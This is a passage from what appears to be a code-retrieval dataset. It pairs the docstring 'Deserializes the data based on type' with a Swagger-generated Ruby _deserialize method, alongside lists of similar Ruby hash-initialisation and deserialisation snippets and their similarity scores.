"def initialize(raw_hash)\n raise Errors::InvalidHash, 'invalid hash' unless valid_hash?(raw_hash)\n\n replace(raw_hash)\n\n @cost, @salt, @digest = split_hash(to_s)\n end",
"def initialize( confighash={} )\n\t\tihash = internify_keys( untaint_values(confighash) )\n\t\tmergedhash = DEFAULTS.merge( ihash, &HashMergeFunction )\n\n\t\t@struct = ConfigStruct.new( mergedhash )\n\t\t@create_time = Time.now\n\t\t@name = nil\n\t\t@loader = nil\n\n\t\tsuper()\n\tend",
"def initialize(*args)\n @hash = HashWithIndifferentAccess.new(*args)\n end",
"def from_hash(hash:, klass:)\n validate_class_kit(klass)\n\n @hash_helper.indifferent!(hash)\n entity = klass.new\n attributes = @attribute_helper.get_attributes(klass)\n attributes.each do |attribute|\n key = attribute[:name]\n type = attribute[:type]\n\n #if the hash value is nil skip it\n next if hash[key].nil?\n\n value = if is_class_kit?(type)\n from_hash(hash: hash[key], klass: type)\n elsif type == Array\n hash[key].map do |array_element|\n if attribute[:collection_type].nil?\n array_element\n else\n if is_class_kit?(attribute[:collection_type])\n from_hash(hash: array_element, klass: attribute[:collection_type])\n else\n @value_helper.parse(type: attribute[:collection_type], value: array_element)\n end\n end\n end\n else\n hash[key]\n end\n\n entity.public_send(:\"#{key}=\", value)\n end\n\n entity\n end",
"def create(hash={})\n model = self.new(hash)\n model.save\n model\n end",
"def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = convert(v, k, converter) if converter\n instance.instance_variable_set(:\"@#{k}\", v)\n end\n\n instance\n end",
"def initialize(hash_that_represents_json)\n\t\t@data = hash_that_represents_json\n\tend",
"def hash_for_merging(hash)\n new_hash = { id: hash['message_id'].to_i,\n date: Time.at(hash['date'].to_i),\n from: User.new(hash['from'], @bot),\n chat: Chat.new(hash['chat'], @bot) }\n\n type = TYPES.find { |t| hash[t.to_s] }\n new_hash[type] = hash[type.to_s] # TODO: fail if type not found\n\n new_hash\n end",
"def initialize(hash)\n @header = Msg::Header.new(hash)\n @body = Msg::Body.new(content_is_json?, hash)\n end",
"def build_resource(hash = {})\n self.resource = resource_class.new(hash)\n end",
"def initialize()\n @hash = {}\n @values = []\n end",
"def build\n fail \"Please provide a value for key, currently: #{key}\" if key.nil?\n\n if in_key\n { in_key.to_sym => { key => data } }\n else\n process_data\n transform_to_hash\n end\n end",
"def initialize(build)\n @build = build\n @hash = {}\n @already_run = []\n end",
"def new_from_hash_marketplace(h)\n self.url = h\n h=h.split('/')\n h=h[h.size-2]\n self.original_id = h\n return self\n end",
"def initialize(hash, type, dump)\n self.hash = hash\n self.type = type.to_sym\n self.dump = dump\n end",
"def initialize(hash_data, opts: {})\n @hsh = hash_data\n @opts = opts\n\n @title = @hsh[:title]\n @body = @hsh[:body_hash]\n end",
"def initialize(hash)\n @color = hash[:color]\n @scent = hash[:scent]\n end",
"def initialize(hash = nil)\n hash.each { |key, value| self[key] = value } if !hash.nil? && hash.is_a?(Hash)\n end",
"def create(hash)\n NotImplementedError\n end",
"def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = instance.convert(v, k, converter) if converter\n instance.send(:\"#{k}=\", v)\n end\n\n instance\n end",
"def init_jaxb_json_hash(_o)\n super _o\n @id = String.from_json(_o['id']) unless _o['id'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @description = String.from_json(_o['description']) unless _o['description'].nil?\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @name = String.from_json(_o['name']) unless _o['name'].nil?\n @organization = Org::Apache::Archiva::Metadata::Model::Organization.from_json(_o['organization']) unless _o['organization'].nil?\n @issueManagement = Org::Apache::Archiva::Metadata::Model::IssueManagement.from_json(_o['issueManagement']) unless _o['issueManagement'].nil?\n @scm = Org::Apache::Archiva::Metadata::Model::Scm.from_json(_o['scm']) unless _o['scm'].nil?\n @ciManagement = Org::Apache::Archiva::Metadata::Model::CiManagement.from_json(_o['ciManagement']) unless _o['ciManagement'].nil?\n if !_o['licenses'].nil?\n @licenses = Array.new\n _oa = _o['licenses']\n _oa.each { | _item | @licenses.push Org::Apache::Archiva::Metadata::Model::License.from_json(_item) }\n end\n if !_o['mailingLists'].nil?\n @mailingLists = Array.new\n _oa = _o['mailingLists']\n _oa.each { | _item | @mailingLists.push Org::Apache::Archiva::Metadata::Model::MailingList.from_json(_item) }\n end\n if !_o['dependencies'].nil?\n @dependencies = Array.new\n _oa = _o['dependencies']\n _oa.each { | _item | @dependencies.push Org::Apache::Archiva::Metadata::Model::Dependency.from_json(_item) }\n end\n @incomplete = Boolean.from_json(_o['incomplete']) unless _o['incomplete'].nil?\n end",
"def create_from_hash hash\n values = values_from_hash hash\n unless obj = find(:first, :conditions => values)\n return nil if values[:id]\n obj = create!(values)\n raise ArgumentError, \"#{obj.errors.to_s}\" unless obj.errors.empty?\n end\n obj\n end",
"def create_version_hash\n new_version = {}\n new_version['created'] = ''\n new_version['message'] = ''\n new_version['user'] = {}\n # user is #name, # address.\n new_version['user']['name'] = ''\n new_version['user']['address'] = ''\n new_version['state'] = {}\n new_version\n end",
"def initialize result_hash={}\n @result_hash = result_hash\n end",
"def create_hash(&block); end",
"def create_hash(&block); end",
"def initialize(attrs={})\n from_hash(attrs)\n end",
"def build_request_data(hash)\n {\n :attributes! => {\n addressinfo: { \"xsi:type\" => \"ns2:Map\" },\n },\n username: @username,\n password: @password,\n addressinfo: {\n item: [\n { key: 'name', value: hash[:name] },\n { key: 'address1', value: hash[:address1] },\n { key: 'address2', value: hash[:address2] },\n { key: 'city', value: hash[:city] },\n { key: 'state', value: hash[:state] },\n { key: 'zip', value: hash[:zip] },\n { key: 'fflno', value: hash[:fflno] },\n { key: 'fflexp', value: hash[:fflexp] }\n ]\n },\n testing: @testing\n }\n end",
"def init_jaxb_json_hash(_o)\n @groupId = String.from_json(_o['groupId']) unless _o['groupId'].nil?\n @artifactId = String.from_json(_o['artifactId']) unless _o['artifactId'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @packaging = String.from_json(_o['packaging']) unless _o['packaging'].nil?\n @className = String.from_json(_o['className']) unless _o['className'].nil?\n if !_o['repositories'].nil?\n @repositories = Array.new\n _oa = _o['repositories']\n _oa.each { | _item | @repositories.push String.from_json(_item) }\n end\n @bundleVersion = String.from_json(_o['bundleVersion']) unless _o['bundleVersion'].nil?\n @bundleSymbolicName = String.from_json(_o['bundleSymbolicName']) unless _o['bundleSymbolicName'].nil?\n @bundleExportPackage = String.from_json(_o['bundleExportPackage']) unless _o['bundleExportPackage'].nil?\n @bundleExportService = String.from_json(_o['bundleExportService']) unless _o['bundleExportService'].nil?\n @classifier = String.from_json(_o['classifier']) unless _o['classifier'].nil?\n @includePomArtifacts = Boolean.from_json(_o['includePomArtifacts']) unless _o['includePomArtifacts'].nil?\n @queryTerms = String.from_json(_o['queryTerms']) unless _o['queryTerms'].nil?\n @bundleImportPackage = String.from_json(_o['bundleImportPackage']) unless _o['bundleImportPackage'].nil?\n @bundleRequireBundle = String.from_json(_o['bundleRequireBundle']) unless _o['bundleRequireBundle'].nil?\n @pageSize = Fixnum.from_json(_o['pageSize']) unless _o['pageSize'].nil?\n @selectedPage = Fixnum.from_json(_o['selectedPage']) unless _o['selectedPage'].nil?\n end",
"def initialize(order_hash)\n @id = order_hash['id']\n @number = order_hash['number']\n @special_instructions = order_hash['special_instructions']\n @total = order_hash['total']\n @total_quantity = order_hash['total_quantity']\n @created_at = order_hash['created_at']\n @updated_at = order_hash['updated_at']\n end",
"def from_db_hash *args\n from_hash *args\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end"
] | [
"0.8012219",
"0.74724483",
"0.745956",
"0.72583616",
"0.7245182",
"0.7006886",
"0.6973024",
"0.6955572",
"0.6944315",
"0.6940353",
"0.6937024",
"0.6917436",
"0.6871505",
"0.6796401",
"0.678333",
"0.6756041",
"0.6756041",
"0.6755624",
"0.67541397",
"0.6714415",
"0.6668172",
"0.66255736",
"0.66111946",
"0.66111946",
"0.6610987",
"0.6592588",
"0.6573213",
"0.6546379",
"0.65248895",
"0.65248466",
"0.65123403",
"0.6501628",
"0.65005285",
"0.6485906",
"0.64840895",
"0.64759886",
"0.64579433",
"0.6454509",
"0.6441105",
"0.64373446",
"0.6401428",
"0.63995844",
"0.639923",
"0.63914484",
"0.6372082",
"0.636282",
"0.6360684",
"0.63137776",
"0.6296575",
"0.6293967",
"0.6293684",
"0.6271615",
"0.627067",
"0.626318",
"0.6252359",
"0.6252143",
"0.6243945",
"0.6243945",
"0.6243179",
"0.6240466",
"0.62403506",
"0.6230126",
"0.62290585",
"0.62284976",
"0.62273943",
"0.6225314",
"0.621851",
"0.62180465",
"0.62108374",
"0.6207871",
"0.62032247",
"0.62028927",
"0.6179082",
"0.61664623",
"0.6160514",
"0.61405385",
"0.6127843",
"0.61140543",
"0.6105735",
"0.60986453",
"0.60976267",
"0.6088929",
"0.6064929",
"0.606218",
"0.60597265",
"0.6058337",
"0.60421526",
"0.6039264",
"0.60349286",
"0.6034629",
"0.6030926",
"0.60194194",
"0.60194194",
"0.6016263",
"0.6015283",
"0.6014583",
"0.6009445",
"0.6003724",
"0.6003509",
"0.6003509",
"0.6003509"
] | 0.0 | -1 |
Deserializes the data based on type | def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /^(true|t|yes|y|1)$/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = Connectwise.const_get(type).new
temp_model.build_from_hash(value)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Telstra_Messaging.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = FattureInCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = IFClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = WineShipping.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
